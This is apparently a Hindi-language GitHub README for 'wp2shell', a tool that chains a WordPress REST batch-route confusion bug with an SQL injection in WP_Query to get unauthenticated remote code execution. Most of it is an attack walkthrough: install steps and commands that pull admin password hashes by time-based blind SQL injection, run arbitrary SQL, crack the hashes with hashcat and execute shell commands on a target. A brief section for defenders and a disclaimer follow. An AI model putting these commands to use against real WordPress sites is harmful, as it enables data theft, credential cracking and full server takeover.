wp2shell द्वारा: ek0ms savi0r

WordPress Core POC (CVE-2026-63030 + CVE-2026-60137) के लिए बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन

wp2shell WordPress कोर में एक महत्वपूर्ण भेद्यता श्रृंखला के लिए शोषण। यह REST API बैच रूट कन्फ्यूज़न बग को WP_Query में SQL इंजेक्शन के साथ जोड़कर असुरक्षित WordPress इंस्टॉलेशन पर बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन प्राप्त करता है।

यह कैसे काम करता है

शोषण WordPress कोर में दो बगों को जोड़ता है:

1. CVE-2026-60137 — SQL इंजेक्शन – जब author__not_in को ऐरे के बजाय स्ट्रिंग के रूप में पारित किया जाता है, तो WordPress is_array() सैनिटाइज़ेशन गार्ड को छोड़ देता है और कच्चे मान को NOT IN (...) SQL क्लॉज़ में सम्मिलित करता है।

2. CVE-2026-63030 — बैच रूट कन्फ्यूज़न – /wp-json/batch/v1 एंडपॉइंट समानांतर $matches और $validation ऐरे बनाता है। एक दोषपूर्ण उप-अनुरोध को $validation में जोड़ा जाता है लेकिन $matches में नहीं, जिससे +1 इंडेक्स शिफ्ट होता है। उप-अनुरोध i को उप-अनुरोध i+1 के हैंडलर के साथ भेजा जाता है।

एक श्रृंखला में जुड़े: POST /wp/v2/posts अनुरोध जिसमें एक आंतरिक GET /wp/v2/users अनुरोध author_exclude स्ट्रिंग के साथ होता है, दोनों विधि अनुमति-सूची और इनपुट सैनिटाइज़ेशन को बायपास करता है। स्ट्रिंग WP_Query तक author__not_in के रूप में पहुँचती है और SQL में सम्मिलित हो जाती है — जिससे आपको बिना प्रमाणीकरण के ब्लाइंड SQL इंजेक्शन मिलता है।

वहाँ से, उपकरण यह कर सकता है:

• प्रशासक पासवर्ड हैश निकालें
• प्रशासक के रूप में प्रमाणित करें (एक बार हैश क्रैक होने पर)
• एक दुर्भावनापूर्ण प्लगइन अपलोड करें
• मनमानी सिस्टम कमांड निष्पादित करें

सुविधाएँ

स्थापना

git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

बस इतना ही। किसी तृतीय-पक्ष पैकेज की आवश्यकता नहीं है।

उपयोग

./wp2shell.py <url> [command] [options]

इंटरएक्टिव मोड (मेनू-संचालित)

./wp2shell.py http://target.com

एक इंटरएक्टिव मेनू लॉन्च करता है जिसमें सभी कार्यक्षमता क्रमांकित विकल्पों के माध्यम से उपलब्ध होती है।

कमांड

check — भेद्यता की पुष्टि करें (सुरक्षित)

समय-विलंब जांच करता है ताकि शोषण की पुष्टि हो सके। कोई डेटा नहीं पढ़ता और कुछ भी नहीं बदलता।

./wp2shell.py http://target.com check

read — डेटा निकालें (ब्लाइंड SQL इंजेक्शन)

समय-आधारित ब्लाइंड SQL इंजेक्शन का उपयोग करके डेटाबेस से जानकारी निकालता है।

# सर्वर फिंगरप्रिंट (संस्करण, डेटाबेस, उपयोगकर्ता)
./wp2shell.py http://target.com read

# उपयोगकर्ता लॉगिन और पासवर्ड हैश निकालें
./wp2shell.py http://target.com read --users

# डेटाबेस नाम निकालें
./wp2shell.py http://target.com read --database

# MySQL संस्करण निकालें
./wp2shell.py http://target.com read --version

# कस्टम SQL क्वेरी
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — दूरस्थ कोड निष्पादन

वैध प्रशासक क्रेडेंशियल आवश्यक हैं। SQL इंजेक्शन पासवर्ड हैश को पुनर्प्राप्त कर सकता है, लेकिन आपको पुनर्प्राप्त सादा पाठ पासवर्ड प्रदान करना होगा।

# एकल कमांड निष्पादित करें
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# एकल कमांड निष्पादित करें (संक्षिप्त रूप)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

विकल्प

उदाहरण कार्यप्रवाह

# 1. जाँचें कि लक्ष्य असुरक्षित है या नहीं
./wp2shell.py https://example.com check

# 2. प्रशासक पासवर्ड हैश निकालें
./wp2shell.py https://example.com read --users

# 3. हैश को ऑफ़लाइन क्रैक करें (hashcat, john, आदि का उपयोग करके)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. पुनर्प्राप्त पासवर्ड के साथ एक कमांड निष्पादित करें
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

प्रभावित संस्करण

संस्करण 6.9.0 से पहले के संस्करण पूर्ण RCE श्रृंखला से प्रभावित नहीं हैं।

पता लगाना और शमन

रक्षकों के लिए:

• तुरंत 6.9.5, 7.0.2 या बाद के संस्करण में अपडेट करें
• Cloudflare WAF ग्राहक स्वचालित रूप से सुरक्षित हैं
• Wordfence ग्राहकों के पास फ़ायरवॉल नियम हैं
• नेस्टेड requests निकायों के साथ POST /wp-json/batch/v1 अनुरोधों की निगरानी करें
• बैच रूट पर 404 का हमेशा मतलब "पैच किया गया" नहीं होता — इसका मतलब यह भी हो सकता है कि WAF/CDN अनाम REST API पहुंच को अवरुद्ध कर रहा है

कानूनी अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।

क्रेडिट

• खोज: Adam Kues (Assetnote / Searchlight Cyber)
• CVE-2026-60137 (SQLi): TF1T, dtro, haongo
• CVE-2026-63030 (बैच रूट कन्फ्यूज़न): Adam Kues

भेद्यता के बारे में अधिक जानकारी के लिए, Searchlight Cyber research blog देखें।